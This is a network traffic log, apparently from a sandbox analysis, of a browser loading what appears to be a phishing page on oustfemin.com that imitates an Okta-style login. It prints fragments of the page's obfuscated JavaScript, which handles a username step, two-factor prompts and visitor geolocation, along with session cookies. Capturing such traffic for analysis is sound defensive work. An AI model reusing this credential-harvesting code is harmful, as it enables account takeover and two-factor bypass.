2024-08-23 14:21:57 UTC	1369	IN	Data Raw: 30 28 5f 30 78 35 36 35 34 62 38 2c 5f 30 78 35 38 34 33 61 35 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 72 75 6e 61 6e 69 6d 61 74 69 6f 6e 28 5f 30 78 34 65 38 31 36 61 2c 5f 30 78 34 39 63 30 66 34 2c 5f 30 78 31 39 30 33 34 65 29 7b 63 6f 6e 73 74 20 5f 30 78 34 63 31 39 38 36 3d 5f 30 78 35 38 35 61 62 39 3b 5f 30 78 34 65 38 31 36 61 3d 3d 30 78 30 26 26 28 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 34 63 31 39 38 36 28 30 78 37 35 29 5d 28 27 73 65 63 74 69 6f 6e 5f 27 2b 5f 30 78 34 39 63 30 66 34 29 5b 5f 30 78 34 63 31 39 38 36 28 30 78 31 62 63 29 5d 28 5f 30 78 34 63 31 39 38 36 28 30 78 39 37 29 29 5b 5f 30 78 34 63 31 39 38 36 28 30 78 37 62 29 5d 5b 5f 30 78 34 63 31 39 38 36 28 30 78 31 39 37 29 5d 3d 5f 30 78 34 63 31 39 38 36 28 30 78 63 30 29 2b 5f Data Ascii: 0(_0x5654b8,_0x5843a5);}function runanimation(_0x4e816a,_0x49c0f4,_0x19034e){const _0x4c1986=_0x585ab9;_0x4e816a==0x0&&(document[_0x4c1986(0x75)]('section_'+_0x49c0f4)[_0x4c1986(0x1bc)](_0x4c1986(0x97))[_0x4c1986(0x7b)][_0x4c1986(0x197)]=_0x4c1986(0xc0)+_
2024-08-23 14:21:57 UTC	1369	IN	Data Raw: 52 65 63 65 69 76 65 28 27 74 77 6f 66 61 73 65 6c 65 63 74 65 64 27 2c 5b 5f 30 78 32 32 35 63 61 31 2c 5f 30 78 32 30 31 35 34 64 28 30 78 31 65 61 29 5d 2c 30 78 31 29 5b 5f 30 78 32 30 31 35 34 64 28 30 78 62 34 29 5d 28 5f 30 78 34 32 32 31 32 30 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 34 62 63 65 63 30 3d 5f 30 78 32 30 31 35 34 64 3b 69 66 28 5f 30 78 34 32 32 31 32 30 26 26 76 69 65 77 3d 3d 27 61 75 74 68 61 70 70 27 29 7b 5f 30 78 34 32 32 31 32 30 5b 27 6d 65 73 73 61 67 65 27 5d 3d 3d 5f 30 78 34 62 63 65 63 30 28 30 78 31 35 35 29 26 26 6d 6f 72 65 69 6e 66 6f 72 65 71 28 29 3b 5f 30 78 34 32 32 31 32 30 5b 5f 30 78 34 62 63 65 63 30 28 30 78 31 32 33 29 5d 3d 3d 5f 30 78 34 62 63 65 63 30 28 30 78 31 61 62 29 26 26 73 65 74 54 69 6d 65 6f 75 74 Data Ascii: Receive('twofaselected',[_0x225ca1,_0x20154d(0x1ea)],0x1)[_0x20154d(0xb4)](_0x422120=>{const _0x4bcec0=_0x20154d;if(_0x422120&&view=='authapp'){_0x422120['message']==_0x4bcec0(0x155)&&moreinforeq();_0x422120[_0x4bcec0(0x123)]==_0x4bcec0(0x1ab)&&setTimeout
2024-08-23 14:21:57 UTC	1369	IN	Data Raw: 31 62 63 29 5d 28 5f 30 78 35 61 39 38 35 32 28 30 78 39 37 29 29 5b 27 73 74 79 6c 65 27 5d 5b 27 61 6e 69 6d 61 74 69 6f 6e 27 5d 3d 27 73 68 6f 77 2d 66 72 6f 6d 2d 72 69 67 68 74 5c 78 32 30 30 2e 35 73 27 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 35 61 39 38 35 32 28 30 78 37 35 29 5d 28 5f 30 78 35 61 39 38 35 32 28 30 78 31 30 63 29 29 5b 5f 30 78 35 61 39 38 35 32 28 30 78 39 30 29 5d 5b 5f 30 78 35 61 39 38 35 32 28 30 78 63 38 29 5d 28 5f 30 78 35 61 39 38 35 32 28 30 78 31 37 34 29 29 2c 76 69 65 77 3d 5f 30 78 35 61 39 38 35 32 28 30 78 31 64 37 29 3b 7d 2c 30 78 63 38 29 3b 7d 2c 30 78 31 66 34 29 29 29 3b 5f 30 78 34 32 32 31 32 30 5b 5f 30 78 34 62 63 65 63 30 28 30 78 31 32 33 29 5d 3d 3d 5f 30 78 34 62 63 65 63 30 28 30 78 31 64 65 29 26 26 Data Ascii: 1bc)](_0x5a9852(0x97))['style']['animation']='show-from-right\x200.5s',document[_0x5a9852(0x75)](_0x5a9852(0x10c))[_0x5a9852(0x90)][_0x5a9852(0xc8)](_0x5a9852(0x174)),view=_0x5a9852(0x1d7);},0xc8);},0x1f4)));_0x422120[_0x4bcec0(0x123)]==_0x4bcec0(0x1de)&&
2024-08-23 14:21:57 UTC	1369	IN	Data Raw: 30 78 32 30 31 35 34 64 3b 5f 30 78 31 30 65 65 35 63 26 26 76 69 65 77 3d 3d 5f 30 78 31 34 31 35 31 65 28 30 78 38 62 29 26 26 28 5f 30 78 31 30 65 65 35 63 5b 5f 30 78 31 34 31 35 31 65 28 30 78 31 32 33 29 5d 3d 3d 5f 30 78 31 34 31 35 31 65 28 30 78 31 35 35 29 26 26 6d 6f 72 65 69 6e 66 6f 72 65 71 28 29 2c 5f 30 78 31 30 65 65 35 63 5b 5f 30 78 31 34 31 35 31 65 28 30 78 31 32 33 29 5d 3d 3d 5f 30 78 31 34 31 35 31 65 28 30 78 31 61 62 29 26 26 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 61 69 74 32 66 61 28 5f 30 78 35 65 39 63 38 39 2c 6e 75 6c 6c 29 3b 7d 2c 30 78 31 66 34 30 29 2c 5f 30 78 31 30 65 65 35 63 5b 27 6d 65 73 73 61 67 65 27 5d 3d 3d 27 64 75 70 6c 69 63 61 74 65 5c 78 32 30 72 65 71 75 65 73 74 27 26 26 28 Data Ascii: 0x20154d;_0x10ee5c&&view==_0x14151e(0x8b)&&(_0x10ee5c[_0x14151e(0x123)]==_0x14151e(0x155)&&moreinforeq(),_0x10ee5c[_0x14151e(0x123)]==_0x14151e(0x1ab)&&setTimeout(function(){wait2fa(_0x5e9c89,null);},0x1f40),_0x10ee5c['message']=='duplicate\x20request'&&(
2024-08-23 14:21:57 UTC	1369	IN	Data Raw: 6e 6c 61 74 65 72 27 29 5b 5f 30 78 34 35 65 36 39 33 28 30 78 39 30 29 5d 5b 27 72 65 6d 6f 76 65 27 5d 28 5f 30 78 34 35 65 36 39 33 28 30 78 31 37 34 29 29 2c 76 69 65 77 3d 5f 30 78 34 35 65 36 39 33 28 30 78 31 64 37 29 3b 7d 2c 30 78 63 38 29 3b 7d 2c 30 78 31 66 34 29 29 29 2c 5f 30 78 31 30 65 65 35 63 5b 5f 30 78 31 34 31 35 31 65 28 30 78 31 32 33 29 5d 3d 3d 5f 30 78 31 34 31 35 31 65 28 30 78 31 64 65 29 26 26 28 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 34 31 35 31 65 28 30 78 37 35 29 5d 28 5f 30 78 31 34 31 35 31 65 28 30 78 31 62 39 29 29 5b 5f 30 78 31 34 31 35 31 65 28 30 78 39 30 29 5d 5b 5f 30 78 31 34 31 35 31 65 28 30 78 31 37 65 29 5d 28 5f 30 78 31 34 31 35 31 65 28 30 78 31 37 34 29 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 34 31 Data Ascii: nlater')[_0x45e693(0x90)]['remove'](_0x45e693(0x174)),view=_0x45e693(0x1d7);},0xc8);},0x1f4))),_0x10ee5c[_0x14151e(0x123)]==_0x14151e(0x1de)&&(document[_0x14151e(0x75)](_0x14151e(0x1b9))[_0x14151e(0x90)][_0x14151e(0x17e)](_0x14151e(0x174)),document[_0x141
2024-08-23 14:21:57 UTC	1369	IN	Data Raw: 34 30 28 30 78 31 37 34 29 29 2c 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 5d 28 27 73 65 63 74 69 6f 6e 5f 75 6e 61 6d 65 27 29 5b 5f 30 78 31 62 32 34 34 30 28 30 78 31 62 63 29 5d 28 5f 30 78 31 62 32 34 34 30 28 30 78 39 37 29 29 5b 5f 30 78 31 62 32 34 34 30 28 30 78 37 62 29 5d 5b 5f 30 78 31 62 32 34 34 30 28 30 78 31 39 37 29 5d 3d 27 27 2c 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 5d 28 5f 30 78 31 62 32 34 34 30 28 30 78 31 65 64 29 29 5b 5f 30 78 31 62 32 34 34 30 28 30 78 39 30 29 5d 5b 5f 30 78 31 62 32 34 34 30 28 30 78 63 38 29 5d 28 27 64 2d 6e 6f 6e 65 27 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 62 32 34 34 30 28 30 78 37 63 29 5d 5b 5f 30 78 31 62 32 34 34 30 28 30 78 Data Ascii: 40(0x174)),document['getElementById']('section_uname')[_0x1b2440(0x1bc)](_0x1b2440(0x97))[_0x1b2440(0x7b)][_0x1b2440(0x197)]='',document['getElementById'](_0x1b2440(0x1ed))[_0x1b2440(0x90)][_0x1b2440(0xc8)]('d-none'),document[_0x1b2440(0x7c)][_0x1b2440(0x
2024-08-23 14:21:57 UTC	1369	IN	Data Raw: 30 78 32 65 35 35 39 66 5b 5f 30 78 31 62 32 34 34 30 28 30 78 31 63 62 29 5d 29 2c 63 68 65 63 6b 65 72 72 6f 72 64 65 73 63 28 5f 30 78 31 62 32 34 34 30 28 30 78 38 62 29 2c 30 78 30 2c 5f 30 78 32 65 35 35 39 66 5b 5f 30 78 31 62 32 34 34 30 28 30 78 65 39 29 5d 29 2c 62 6f 74 74 6f 6d 73 65 63 74 69 6f 6e 6c 69 6e 6b 73 28 5f 30 78 31 62 32 34 34 30 28 30 78 38 62 29 2c 5f 30 78 32 65 35 35 39 66 5b 5f 30 78 31 62 32 34 34 30 28 30 78 31 34 62 29 5d 29 2c 63 68 61 6e 67 65 62 61 63 6b 62 75 74 74 6f 6e 28 27 61 75 74 68 63 61 6c 6c 27 2c 5f 30 78 32 65 35 35 39 66 5b 5f 30 78 31 62 32 34 34 30 28 30 78 39 35 29 5d 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 62 32 34 34 30 28 30 78 37 35 29 5d 28 27 73 65 63 74 69 6f 6e 5f 6d 75 6c 74 69 70 6c 65 61 Data Ascii: 0x2e559f[_0x1b2440(0x1cb)]),checkerrordesc(_0x1b2440(0x8b),0x0,_0x2e559f[_0x1b2440(0xe9)]),bottomsectionlinks(_0x1b2440(0x8b),_0x2e559f[_0x1b2440(0x14b)]),changebackbutton('authcall',_0x2e559f[_0x1b2440(0x95)]),document[_0x1b2440(0x75)]('section_multiplea

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.16	49810	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:56 UTC	1524	OUT	GET /rsYhvroAIArkSYfucuHoMsxdZ0ghDjdWp1MVKJoCKLd9cd193 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:57 UTC	658	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:57 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="rsYhvroAIArkSYfucuHoMsxdZ0ghDjdWp1MVKJoCKLd9cd193" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H5WT%2B%2FMACXzz5AuEcBAPVTfxhHi43%2B7k5fjwDYIznvm%2BNlHvO3fPsWaxBtpX%2BFbPiFBCWV2HPY6YyP4XVEbry7m2JMXf6bibumcaF6uw4HahIk1oa77Z%2BBzIDOcm9Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc07dcd4b7c94-EWR
2024-08-23 14:21:57 UTC	275	IN	Data Raw: 31 30 63 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2c 33 32 48 33 38 56 31 38 2e 31 32 35 4c 32 34 2c 32 35 2e 31 30 39 2c 31 30 2c 31 38 2e 31 32 35 56 33 32 6d 2e 32 33 34 2d 31 36 4c 32 34 2c 32 32 2e 38 39 31 2c 33 37 2e 37 36 36 2c 31 36 48 31 30 2e 32 33 34 4d 34 30 2c 33 34 48 38 56 31 34 48 34 30 5a 22 20 66 69 6c 6c Data Ascii: 10c<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill
2024-08-23 14:21:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.16	49803	3.161.119.78	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:56 UTC	374	OUT	GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:57 UTC	672	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 10796 Connection: close Date: Fri, 23 Aug 2024 14:21:57 GMT Server: nginx Last-Modified: Tue, 23 Feb 2021 04:20:08 GMT ETag: "12bdacc832185d0367ecc23fd24c86ce" Expires: Sat, 23 Aug 2025 14:21:57 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes X-Cache: Miss from cloudfront Via: 1.1 e56e15c46c4ad370efdb5828e31ce690.cloudfront.net (CloudFront) X-Amz-Cf-Pop: VIE50-P2 X-Amz-Cf-Id: JLw0Q4QVPseaWz3x6McjJsxvAiJ_ZVQth00s4iFJT17U7_tuDSRiUQ==
2024-08-23 14:21:57 UTC	10796	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 a4 00 00 00 5e 08 06 00 00 00 6c 32 60 fe 00 00 29 f3 49 44 41 54 78 da ed 7d 09 9c 1c 55 9d ff a0 8b 20 77 a6 eb bd 1a 42 10 10 50 24 8a 48 76 09 c9 74 d5 ab ea 09 91 b8 a0 78 84 45 41 40 04 51 60 81 45 14 d0 15 02 88 c8 2d ec 8a 9c 22 97 28 e7 9f e5 58 60 89 11 44 2e c3 11 c8 35 5d 5d 55 7d cd 95 c9 9d 90 83 24 33 ff df af aa 26 e9 cc bc d7 67 75 4f 77 cf fb 7d 3e ef 13 98 99 ae 7e f5 8e df f7 77 ff 5a 5a 9a 84 12 7a eb be 96 d6 46 5a 24 49 92 24 49 92 a4 d1 a0 b8 4e fe b3 c7 a4 9d 09 9d ac 74 74 b2 24 65 90 c5 09 4d f9 c5 bc e9 ea ae 72 75 24 49 92 24 49 52 d5 68 81 41 76 4b 30 c5 74 19 b9 77 79 87 3a 98 31 e8 a0 a5 93 c1 44 ce 48 c3 cf d6 4c 53 07 01 98 92 69 46 7e b6 58 8f c4 e0 73 6d 72 f5 24 Data Ascii: PNGIHDR^l2`)IDATx}U wBP$HvtxEA@Q`E-"(X`D.5]]U}$3&guOw}>~wZZzFZ$I$INtt$eMru$I$IRhAvK0twy:1DHLSiF~Xsmr$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.16	49817	188.114.97.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:57 UTC	1110	OUT	GET /wx9uKr77gZUwOw0J3Z7hyOplopIHnVHZGF7vPJq34130 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:58 UTC	640	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:58 GMT Content-Type: image/png Content-Length: 231 Connection: close Content-Disposition: inline; filename="wx9uKr77gZUwOw0J3Z7hyOplopIHnVHZGF7vPJq34130" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iM6%2BAPjXmkurmlFUHGm6g%2BrS4tZ999M%2FCtMXApFAmZwIx570MxstF51ZyBxQFYRvyT1SYTf88fCbJRyRkHKQiMfUR6IdppbGgptJx9MyujA87v%2B%2BxdLfG3CaDhbXSQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc0837e0c8c95-EWR
2024-08-23 14:21:58 UTC	231	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 a1 49 44 41 54 48 4b ed 93 b1 0d 02 31 10 04 e7 5a a0 0c aa b8 12 a8 80 9c 2e 20 23 24 23 a5 94 2d e1 cb 20 24 24 33 b2 f4 48 1f 80 cf bc 71 80 78 a7 3e ed 78 c7 b6 d1 79 59 e7 7c 16 40 68 f8 8f 14 b9 fb 05 18 24 9d 42 2f 93 81 2a 45 63 f8 0a d8 4a ba 7d 15 d0 12 9e 0f 52 6c d0 1a 5e 04 8c e1 1b e0 0c dc 23 2d 92 0e af 66 de 36 70 f7 63 4a 69 67 66 b5 80 fd 47 80 3c 9c 21 c0 7a ce e5 3e 61 e1 2b 6a 85 84 80 d6 26 55 80 09 e4 da e5 a3 45 2f a8 b4 5f dd 60 2e 64 01 84 e6 7e 5f d1 03 bf ca 37 19 0c 18 34 60 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRw=sRGBIDATHK1Z. #$#- $$3Hqx>xyY\|@h$B/*EcJ}Rl^#-f6pcJigfG<!z>a+j&UE/_`.d~_74`IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.16	49818	188.114.97.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:57 UTC	1120	OUT	GET /opQcARUgS4Ali3TwsyZ6W0TNTwSBamnbjs1v05DL5rgoqWAuL45140 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:58 UTC	648	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:58 GMT Content-Type: image/png Content-Length: 727 Connection: close Content-Disposition: inline; filename="opQcARUgS4Ali3TwsyZ6W0TNTwSBamnbjs1v05DL5rgoqWAuL45140" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VCdCvWEnHw8bkb4hfaS2j0%2FNNt2ite2Carn%2FyA4FxjNs6kjsR%2FWzA9Wnk0R7HA6wIk4V9XpOyS99yOl3T%2BcB5yGV0YLzPbtQa6uxn20C5bDWF8hwaVxjQ5Hi7NgiDA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc083999ac44d-EWR
2024-08-23 14:21:58 UTC	721	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 06 00 00 00 57 02 f9 87 00 00 02 9e 49 44 41 54 68 43 ed 97 81 51 1c 31 0c 45 8f 0e a0 83 a3 03 e8 60 a9 00 a8 20 a4 02 a0 82 90 0a a0 03 ae 83 90 0a b2 54 00 1d e4 3a 80 0e c8 7f 37 72 c6 ec dc ad e5 b5 73 77 3b 59 cf 68 18 f6 64 4b 5f 5f 92 e5 83 d9 c8 d7 c1 c8 fd 9f 4d 00 76 cd e0 c4 c0 c4 40 61 04 fe df 14 6a 9a e6 50 c1 3b 91 9c 4b 1a 09 ff b3 5e 25 ef 92 e7 b6 6d 17 85 01 4e 6e 1f c4 80 9c bf d1 c9 d7 92 79 d2 c2 6c f6 5d 40 ee 1c 7a 83 54 b2 00 58 d4 1f 65 e9 c2 ac b5 44 5a f2 24 59 1a 0b b0 12 98 e1 6f 60 e5 4c 40 60 a6 ea 72 03 30 e7 7f 99 73 38 42 64 1f fa bc 31 a6 ee 4d 87 3d c7 b5 41 e4 00 f8 61 91 27 c7 2f e5 08 11 4f 2e 81 80 05 40 34 12 6d 6b cf 92 9b 32 14 5c 00 a2 Data Ascii: PNGIHDR00WIDAThCQ1E` T:7rsw;YhdK__Mv@ajP;K^%mNnyl]@zTXeDZ$Yo`L@`r0s8Bd1M=Aa'/O.@4mk2\
2024-08-23 14:21:58 UTC	6	IN	Data Raw: 4e 44 ae 42 60 82 Data Ascii: NDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.16	49814	104.26.1.100	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:57 UTC	605	OUT	GET /v1/ip/geo.json HTTP/1.1 Host: get.geojs.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://4quqe.oustfemin.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://4quqe.oustfemin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:57 UTC	905	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:57 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-request-id: 0603ec2bf86d6af1a43ac84a022b4734-ASH strict-transport-security: max-age=15552000; includeSubDomains; preload access-control-allow-origin: * access-control-allow-methods: GET pragma: no-cache Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 geojs-backend: ash-01 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R2EoXtdvQ70oUkcMTCGydBdF3fcQmnvHduAbpNS0B6fbpD7KyHtNC7biIIZWlObjSmYQfY2bHSTz5KhaVrVkL63LjooedWleAtsMqsQnXOObGEaB%2BhRhjF0PcWyDCA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8b7bc083bcc30f7c-EWR alt-svc: h3=":443"; ma=86400
